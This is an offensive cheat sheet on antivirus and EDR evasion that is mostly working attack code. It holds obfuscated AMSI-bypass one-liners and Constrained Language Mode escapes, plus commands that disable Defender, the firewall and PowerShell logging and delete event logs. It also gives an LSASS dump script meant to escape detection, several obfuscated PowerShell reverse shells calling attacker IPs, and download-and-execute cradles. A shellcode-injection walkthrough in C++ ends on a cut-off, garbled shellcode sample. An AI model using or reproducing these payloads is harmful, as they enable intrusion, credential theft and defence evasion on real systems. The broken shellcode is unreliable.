AV Evasion 101: Essential Techniques and Concepts
Table Of Contents
- Source
- Good tools
- Malware forums/channels/discord
- Test payload against AV
- Defcon – Writing custom backdoor payloads with C#
- Step by Step for obfuscating code
- AV Evasion MindMap – From Start to finish
- General AV Evasion cheatsheet
- Windows API
- Abusing Windows Internals
- AV Evasion Shellcode
- Obfuscation
- Layered obfuscation: a taxonomy of software obfuscation techniques for layered security
- Obfuscation Concatenation
- Obfuscation table
- Obfuscation’s Function for Static Evasion
- Protecting and Stripping Identifiable Information
- Obfuscation Methods with examples
- Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick
- Signature Evasion
- UAC Bypass
- Living off the Land
Source
- TryHackMe | AV Evasion: Shellcode
- WSAConnect function (winsock2.h) – Win32 apps | Microsoft Learn
- Direct Syscalls: A journey from high to low – RedOps – English
- Raspberry Robin: Anti-Evasion How-To & Exploit Analysis – Check Point Research
- Process injection in 2023, evading leading EDRs | Vincent Van Mieghem
- redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/
- Evasion techniques (checkpoint.com) – GREATE SOURCE FOR EVASION TECHNIQUES
- Win32 API calls are well documented under the Windows API documentation and pinvoke.net.
- Document and organize all available API calls with malicious vectors, including SANs and MalAPI.io.
- OffensiveCPP lsecqt/OffensiveCpp: This repo contains C/C++ snippets that can be handy in specific offensive scenarios. (github.com)
- sinfulz/JustEvadeBro: JustEvadeBro, a cheat sheet which will aid you through AMSI/AV evasion & bypasses. (github.com)
- Antivirus (AV) Bypass – HackTricks
- AV Evasion 101 – YouTube
- AMSI.fail
- https://www.vx-underground.org/
- Ethical Chaos – Personal InfoSec development blog
- Blog | Vincent Van Mieghem
- AV Bypass with Metasploit Templates and Custom Binaries – Red Team Notes (ired.team)
Good tools
- Process Explorer – Sysinternals | Microsoft Learn – Monitor process in detail
- Overview – Process Hacker (sourceforge.io) – A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware.
Malware forums/channels/discord
- Read-Team VX community
- Havoc Framework discord
- Hacktricks discord
- OnlyMalware Discord (Need to write intro)
Test payload against AV
- https://virustotal.com (Don’t use if you want your payload to be udetected. Virustotal sends a copy of payload to antiviurs vendors.
- https://antiscan.me
- Jotti’s malware scan ( All files are shared with anti-virus companies so detection accuracy of their anti-virus products can be improved.)
Defcon – Writing custom backdoor payloads with C#
Step by Step for obfuscating code
- Rename Variables: Change the names of variables, methods, and classes to non-descriptive or misleading names. Use random names or unrelated words to make it harder to understand the purpose and flow of the code.
- Use different method for injection. Don’t rely on VirtualAlloc, as that would be flagged easily.
- Remove Whitespace and Formatting: Remove unnecessary whitespace, line breaks, and indentation from the code. This makes the code more difficult to read and follow.
- Split Strings: Split sensitive strings used in the code into multiple parts and concatenate them at runtime. This makes it harder for someone to extract the original strings from the code.
- Use Obfuscated Logic: Modify conditional statements and loops to use obfuscated logic. Introduce additional conditions, nested conditions, or bitwise operations to confuse the understanding of the code’s behavior.
- Add Dummy Code: Insert irrelevant or meaningless code snippets throughout the code. This can include unused variables, empty loops, or false branches. Add a function to calculate things and just spit out nonsense. These additions make the code harder to understand and analyze.
- Replace Constants: Replace literal values or constants in the code with calculations or obfuscated equivalents. For example, instead of using the value
1
, you could use a calculation likeMath.Sqrt(1)
. - Remove or Modify Comments: Remove or modify comments in the code that provide insights into its functionality. Replace them with misleading or irrelevant comments to confuse the reader.
- Code Rearrangement: Rearrange the order of statements, functions, or code blocks. This disrupts the logical flow of the code and makes it harder to follow.
- Use Hexadecimal or Binary Representation: Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.
- Code Fragmentation: Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.
- Use Evasion techniques (checkpoint.com): Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you’re targeting a client machine is to check for mouse movement.
- Use threatcheck or defendercheck: You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.
AV Evasion MindMap – From Start to finish
(AV) Anti-Virus – The Hacker Recipes
General AV Evasion cheatsheet
Check AV – Running, Exclusion, Disable
- Check if Windows Defender is running:
Get-MpComputerStatus | Select RealTimeProtectionEnabled
- Get info about Windows Defender:
Get-MpPreference
- Find excluded folders from Windows Defender:
Get-MpPreference | select Exclusion*
- Create exclusion:
Set-MpPreference -ExclusionPath "<path>"
- Check AV detections:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
- Get last AV detection:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
- Disable AV monitoring:
Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
- Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
- Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system
// Importing necessary namespaces
using System;
using System.Management;
internal class Program
{
static void Main(string[] args)
{
var status = false; // Variable to track the presence of antivirus software
Console.WriteLine("[+] Antivirus check is running .. ");
// Array of antivirus processes to check for
string[] AV_Check = {
"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
};
// Creating a ManagementObjectSearcher to query Windows processes
var searcher = new ManagementObjectSearcher("select * from win32_process");
var processList = searcher.Get(); // Retrieving the list of processes
int i = 0;
foreach (var process in processList)
{
// Checking if the process is one of the antivirus processes
int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
if (_index > -1)
{
// Antivirus process found
Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
status = true;
}
i++;
}
// Checking the status variable to determine if antivirus software was found or not
if (!status)
{
Console.WriteLine("--AV software is not found!");
}
}
}
Windows Firewall
- Get state:
Get-NetFirewallProfile -PolicyStore ActiveStore
- Get rules:
Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
- Disable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- Enable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
- Change default policy:
Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
- Open port on firewall:
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
- Remove firewall rule:
Remove-NetFirewallRule -DisplayName "Allow port"
Powershell – ASMI bypass methods, Disable AV, etc
AMSI Bypass
- Start 64 bit powershell:
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
- Change execution policy:
Set-ExecutionPolicy Bypass
or-ExecutionPolicy Bypass
- Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:
If patched, just change up the strings/variables.
Single-line bypasses:
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
Multi-line bypass:
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)
Single-line bypasses:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Credit: https://buaq.net/go-98295.html
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it’s originally from Matt Graeber)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html
Bypass CLM (Constrained Language Mode)
Escapes for Constrained Language Mode:
# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
Bypass logging
Logging evasion techniques:
# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
Disable MS Defender (Require elevation)
Turning off Windows Defender:
Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
Add folder exclusion
Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"
Checking exclusions
Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
-------------
{C:\temp}
LSASS dumping without triggering Defender
$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()
Reverse Shells
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2 = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)
Reverse PowerShell:
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
Execute assembly in memory
WebClient DownloadData http://x.x.x.x/file.exe method:
$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)
Tools that may help with AV Evasion:
- https://github.com/phra/PEzor
- https://github.com/bats3c/darkarmour
- https://github.com/loadenmb/tvasion
Text Encoding Technique for Bypassing Detection and Remote Command Execution
cat rev.ps1
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.2', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS $(pwd)> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.10 63157
PS C:\Windows\System32>
Go Binaries Obfuscation for Defender Bypass
# Example
go install mvdan.cc/garble@latest
git clone https://github.com/jpillora/chisel.git
cd chisel
garble -tiny -literals -seed=random build main.go
Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities
Windows API
What is Windows API?
The Windows API provides native functionality to interact with key components of the Windows operating system.
Windows API Components
Win32 API Top down list
Layer | Explanation |
API | A top-level/general term or theory used to describe any call found in the win32 API structure. |
Header files or imports | Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address. |
Core DLLs | A group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem. |
Supplemental DLLs | Other DLLs defined as part of the Windows API. Controls separate subsystems of the Windows OS. ~36 other defined DLLs. (NTDLL, COM, FVEAPI, etc.) |
Call Structures | Defines the API call itself and parameters of the call. |
API Calls | The API call used within a program, with function addresses obtained from pointers. |
In/Out Parameters | The parameter values that are defined by the call structures. |
Common Windows API’s
Below is a list of some common Windows API’s
Component | Description |
---|---|
Core Libraries | |
Kernel32.dll | Provides core system functionality, including process and thread management, memory management, file operations, synchronization, and system time. |
User32.dll | Offers user interface functions for creating and managing windows, handling input events, drawing graphics, and interacting with user controls. |
Gdi32.dll | Provides graphics device interface functions for drawing and manipulating graphical objects, such as lines, curves, fonts, and images. |
Shell32.dll | Supports shell operations, including file and folder manipulation, desktop management, shortcut creation, and accessing system icons. |
Advapi32.dll | Offers advanced system services, such as registry access, security management, event logging, user account management, and cryptographic functions. |
Comdlg32.dll | Provides common dialog functions for opening and saving files, selecting colors and fonts, and displaying standard system dialogs. |
Wininet.dll | Enables internet-related operations, including HTTP/FTP communication, cookie management, URL handling, and caching. |
Networking | |
Ws2_32.dll | Offers functions for network socket programming, including creating and managing sockets, sending and receiving data over TCP/IP, and DNS resolution. |
Netapi32.dll | Supports network management and administration, including accessing network resources, user and group management, and domain operations. |
Security | |
Secur32.dll | Provides security-related functions, including authentication services, encryption and decryption, credential management, and secure channel establishment. |
Crypt32.dll | Supports cryptographic operations, such as generating and verifying digital signatures, encrypting and decrypting data, and managing certificates. |
UI Automation | |
Uiautomationcore.dll | Enables accessibility features and automation of user interface elements for assistive technologies and application testing. |
Windows Controls | |
Comctl32.dll | Offers common controls, such as buttons, list views, tree views, progress bars, and tab controls, to enhance the user interface of Windows applications. |
Winmm.dll | Provides multimedia functions for audio and video playback, MIDI control, waveform audio manipulation, and timer management. |
DirectX | |
Direct3D | Enables 3D graphics rendering, including creating and managing rendering devices, rendering pipelines, textures, and shaders. |
DirectInput | Supports input from keyboards, mice, joysticks, and other gaming devices for game development and interactive applications. |
Miscellaneous | |
Ole32.dll | Supports COM (Component Object Model) functionality, including object creation, marshaling interfaces, and inter-process communication. |
Shlwapi.dll | Provides utility functions for string manipulation, file and path operations, URL handling, and registry access. |
Operating System Libraries
Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of ASLR (Address Space Layout Randomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: P/Invoke and the Windows header file.
Windows Header File:
The Windows header file (windows.h) provided by Microsoft is a solution to overcome ASLR (Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call Win32 functions. It takes care of obtaining function addresses or pointers for us.
Example:
#include <windows.h>
P/Invoke:
P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.
Example:
using System;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
...
}
In the above code, we import the user32 DLL using the attribute [DllImport]
.
Note: The function declaration is not complete yet; we need to define it externally. The extern
keyword informs the runtime about the DLL we imported. Here’s an example of creating the external method:
using System;
using System.Runtime.InteropServices;
public class Program
{
...
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}
Now, we can invoke the function MessageBox
as a managed method, even though it’s an unmanaged function from the Win32 API.
API Call Structure
Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.
WriteProcessMemory
API call as an example:
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );
C API Implementation
The windows.h
header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.
#include <windows.h>
Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using CreateWindowExA
.
HWND CreateWindowExA(
[in] DWORD dwExStyle, // Optional windows styles
[in, optional] LPCSTR lpClassName, // Windows class
[in, optional] LPCSTR lpWindowName, // Windows text
[in] DWORD dwStyle, // Windows style
[in] int X, // X position
[in] int Y, // Y position
[in] int nWidth, // Width size
[in] int nHeight, // Height size
[in, optional] HWND hWndParent, // Parent windows
[in, optional] HMENU hMenu, // Menu
[in, optional] HINSTANCE hInstance, // Instance handle
[in, optional] LPVOID lpParam // Additional application data
);
Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to CreateWindowsExA
.
HWND hwnd = CreateWindowsEx(
0,
CLASS_NAME,
L"Hello THM!",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL
);
Commonly Abused API Calls
API Call | Explanation |
LoadLibraryA | Maps a specified DLL into the address space of the calling process |
GetUserNameA | Retrieves the name of the user associated with the current thread |
GetComputerNameA | Retrieves a NetBIOS or DNS name of the local computer |
GetVersionExA | Obtains information about the version of the operating system currently running |
GetModuleFileNameA | Retrieves the fully qualified path for the file of the specified module and process |
GetStartupInfoA | Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process) |
GetModuleHandle | Returns a module handle for the specified module if mapped into the calling process’s address space |
GetProcAddress | Returns the address of a specified exported DLL function |
VirtualProtect | Changes the protection on a region of memory in the virtual address space of the calling process |
Abusing Windows Internals
The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM (Component Object Model), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs (Dynamic Link Libraries), and the PE (Portable Executable) format.
Injection types
Injection Type | Function |
Process Hollowing | Inject code into a suspended and “hollowed” target process |
Thread Execution Hijacking | Inject code into a suspended target thread |
Dynamic-link Library Injection | Inject a DLL into process memory |
Portable Executable Injection | Self-inject a PE image pointing to a malicious function into a target process |
Process Injection (Shellcode injection)
Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.
A process houses an application and has its own memory space, while threads execute application code within a process.
Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.
Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.
We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.
For remote thread creation, we use CreateRemoteThread API.
At a high level, shellcode injection can be broken up into four steps:
- Open a target process with all access rights.
- Allocate target process memory for the shellcode.
- Write shellcode to allocated memory in the target process.
- Execute the shellcode using a remote thread.
- Open a target process with all access rights:
- Identify the target process you want to inject the shellcode into. Let’s assume the target process is named “target.exe”.
- Use a function like OpenProcess() to open the target process with the necessary access rights.
For example:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
// Error handling
}
- Allocate target process memory for the shellcode:
- Determine the size of the shellcode you want to inject.
- Use a function like VirtualAllocEx() to allocate memory within the target process.
For example:
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
// Error handling
}
- Write shellcode to allocated memory in the target process:
- Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().
For example:
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
// Error handling
}
- Execute the shellcode using a remote thread:
- Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.
- Use a function like CreateRemoteThread() to create the remote thread.
For example:
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
// Error handling
}
The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.
c++ example of shellcode injection into the “notepad.exe”
Example of shellcode injection into the “notepad.exe” process using C++ and the Windows API:
#include <windows.h>
#include <iostream>
// The shellcode to be injected (example: display a message box)
unsigned char shellcode[] =
"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x2e\x65\x78\x65" // push 0x6578652e (ASCII string: ".exe")
"\x68\x63\x6d\x64\x2e" // push 0x2e646d63 (ASCII string: "cmd.")
"\x8b\xcc" // mov ecx, esp
"\x6a\x44" // push 0x44
"\x6a\x01" // push 0x01
"\x51" // push ecx
"\xff\xd0" // call eax
"\x83\xc4\x0c" // add esp, 0x0c
"\x31\xc0" // xor eax, eax
"\x50" // push eax
